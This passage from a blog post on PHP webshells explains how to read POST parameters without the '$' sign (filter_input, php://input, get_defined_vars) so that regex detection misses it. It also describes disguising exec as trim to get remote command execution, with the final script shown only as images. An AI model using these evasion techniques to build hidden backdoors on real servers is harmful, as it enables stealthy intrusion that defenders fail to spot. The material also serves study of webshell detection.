<p>However, we can do a bit better, by getting rid of the <code class="language-plaintext highlighter-rouge">$</code> sign. This is great because the constructions <code class="language-plaintext highlighter-rouge">$$</code> and <code class="language-plaintext highlighter-rouge">${</code> are a bit odd and can be spotted with regular expressions (note that the symbols can be separated by dummy comments like <code class="language-plaintext highlighter-rouge">$/*useless*/$x</code>).</p>

<p>The following lines can also be used to retrieve data sent as POST parameters:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">echo</span> <span class="nb">filter_input</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="s2">"param"</span><span class="p">);</span>
<span class="k">echo</span> <span class="nb">file_get_contents</span><span class="p">(</span><span class="s2">"php://input"</span><span class="p">);</span>
<span class="k">echo</span> <span class="nb">get_defined_vars</span><span class="p">()[</span><span class="nb">array_keys</span><span class="p">(</span><span class="nb">get_defined_vars</span><span class="p">())[</span><span class="mi">1</span><span class="p">]][</span><span class="s2">"param"</span><span class="p">];</span>
</code></pre></div></div>

<p>Let’s get more into details.</p>

<h2 id="the-routine-filter_input">The routine <code class="language-plaintext highlighter-rouge">filter_input</code></h2>

<p>As stated in the doc</p>

<blockquote>
  <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>filter_input — Gets a specific external variable by name and optionally filters it

filter_input(
   int $type,
   string $var_name,
   int $filter = FILTER_DEFAULT,
   array|int $options = 0
): mixed
</code></pre></div>  </div>
</blockquote>

<p>The first argument (<code class="language-plaintext highlighter-rouge">$type</code>) is supposed to be one of <strong>INPUT_GET</strong>, <strong>INPUT_POST</strong>, <strong>INPUT_COOKIE</strong>, <strong>INPUT_SERVER</strong>, or <strong>INPUT_ENV</strong>. These values can, however, be translated into integers:</p>

<ul>
  <li>INPUT_GET: 1 ;</li>
  <li>INPUT_POST: 0 ;</li>
  <li>INPUT_COOKIE: 2 ;</li>
  <li>INPUT_SERVER: 5 ;</li>
  <li>INPUT_ENV: 4 ;</li>
</ul>

<p><em>The 3 does not seem to be defined.</em></p>

<p>The second argument is the same as the passed parameter, which means that <code class="language-plaintext highlighter-rouge">filter_input(0, "param");</code> would extract the value of the parameter <code class="language-plaintext highlighter-rouge">param</code> sent through POST.</p>

<h2 id="the-routine-file_get_contents">The routine <code class="language-plaintext highlighter-rouge">file_get_contents</code></h2>

<p>This routine can be used to read a data stream (e.g. file, URL), and is quite well known. The wrapper <code class="language-plaintext highlighter-rouge">php://input</code> is <em>a read-only stream that allows you to read raw data from the request body</em> (<a href="https://www.php.net/manual/en/wrappers.php.php">source</a>). Using it as an argument for <code class="language-plaintext highlighter-rouge">file_get_contents</code> is therefore an easy way to store the POST’ed data in a variable:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$x</span> <span class="o">=</span> <span class="nb">file_get_contents</span><span class="p">(</span><span class="s2">"php://input"</span><span class="p">);</span>
<span class="nb">var_dump</span><span class="p">(</span><span class="nv">$x</span><span class="p">);</span>
</code></pre></div></div>

<p>If the POST’ed data contains <em>a=b&amp;c=d</em>, this snippet of code would print:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>string(7) "a=b&amp;c=d"
</code></pre></div></div>

<p>Some manipulations still need to be done to separate the parameters.</p>

<h2 id="the-routine-get_defined_vars">The routine <code class="language-plaintext highlighter-rouge">get_defined_vars</code></h2>

<p>As stated in the holy doc:</p>

<blockquote>

  <p>This function returns a multidimensional array containing a list of all defined variables, be them environment, server or user-defined variables, within the scope that get_defined_vars() is called.</p>

</blockquote>

<p><em>I know there is a typo and that “be them environment” is wrong, but that is what is written.</em></p>

<p>Even if no POST or GET parameter is sent, the returned multidimensional array would not be empty:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Array
(
    [_GET] =&gt; Array
        (
        )

    [_POST] =&gt; Array
        (
        )

    [_COOKIE] =&gt; Array
        (
        )

    [_FILES] =&gt; Array
        (
        )

)
</code></pre></div></div>

<p>Therefore, having such a request <code class="language-plaintext highlighter-rouge">curl -k https://targ.et/test.php?x=qwertz -d 'y=asdf'</code> would give something like:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Array
(
    [_GET] =&gt; Array
        (
            [x] =&gt; qwertz
        )

    [_POST] =&gt; Array
        (
            [y] =&gt; asdf
        )

    [_COOKIE] =&gt; Array
        (
        )

    [_FILES] =&gt; Array
        (
        )

)
</code></pre></div></div>

<p>To access each item without the string <code class="language-plaintext highlighter-rouge">_GET</code> or <code class="language-plaintext highlighter-rouge">_POST</code>, one could use the routine <code class="language-plaintext highlighter-rouge">array_keys</code>, which returns the list of the keys:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">print_r</span><span class="p">(</span><span class="nb">array_keys</span><span class="p">(</span><span class="nb">get_defined_vars</span><span class="p">()));</span>
</code></pre></div></div>

<p>The result would be like:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Array
(
    [0] =&gt; _GET
    [1] =&gt; _POST
    [2] =&gt; _COOKIE
    [3] =&gt; _FILES
)
</code></pre></div></div>

<p>Therefore, retrieving the POST’ed data could be done as follows:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">get_defined_vars</span><span class="p">()[</span><span class="nb">array_keys</span><span class="p">(</span><span class="nb">get_defined_vars</span><span class="p">())[</span><span class="mi">1</span><span class="p">]];</span> <span class="c1">//all POST'ed data</span>
<span class="nb">get_defined_vars</span><span class="p">()[</span><span class="nb">array_keys</span><span class="p">(</span><span class="nb">get_defined_vars</span><span class="p">())[</span><span class="mi">1</span><span class="p">]][</span><span class="s2">"param"</span><span class="p">];</span> <span class="c1">//the parameter 'param'</span>
</code></pre></div></div>

<p>Let’s wrap it up in a single PHP script:</p>

<p><img width="100%" style="margin-left:auto;margin-right:auto;display:block;" alt="post_without_dollar" src="/assets/res/stuff/post_without_dollar.png" /></p>

<p>In the previous snippet, we use an additional evasion technique, masquerading <code class="language-plaintext highlighter-rouge">exec</code> as <code class="language-plaintext highlighter-rouge">trim</code>. Although the function already exists (<a href="https://www.php.net/manual/en/function.trim">source</a>), it can be replaced in the current script.</p>

<p>Let’s trigger the command execution with <code class="language-plaintext highlighter-rouge">curl</code>:</p>

<p><img width="100%" style="margin-left:auto;margin-right:auto;display:block;" alt="post_without_dollar_exec" src="/assets/res/stuff/post_without_dollar_exec.png" /></p>

<p><em>Not optimal because of multiline output</em></p>

<p>The five commands passed as <em>A</em>, <em>B</em>, <em>C</em>, <em>D</em> and at the beginning of the POST’ed data are indeed passed to the <code class="language-plaintext highlighter-rouge">exec</code> routine, and successfully lead to commands execution.</p>

<h1 id="sources">Sources:</h1>
<ul>
  <li><a href="https://blog.sucuri.net/2014/02/php-backdoors-hidden-with-clever-use-of-extract-function.html">PHP Backdoors: Hidden With Clever Use of Extract Function</a></li>
</ul>]]></content><author><name></name></author><category term="stuff" /><summary type="html"><![CDATA[A few thoughts about PHP webshells …]]></summary></entry></feed>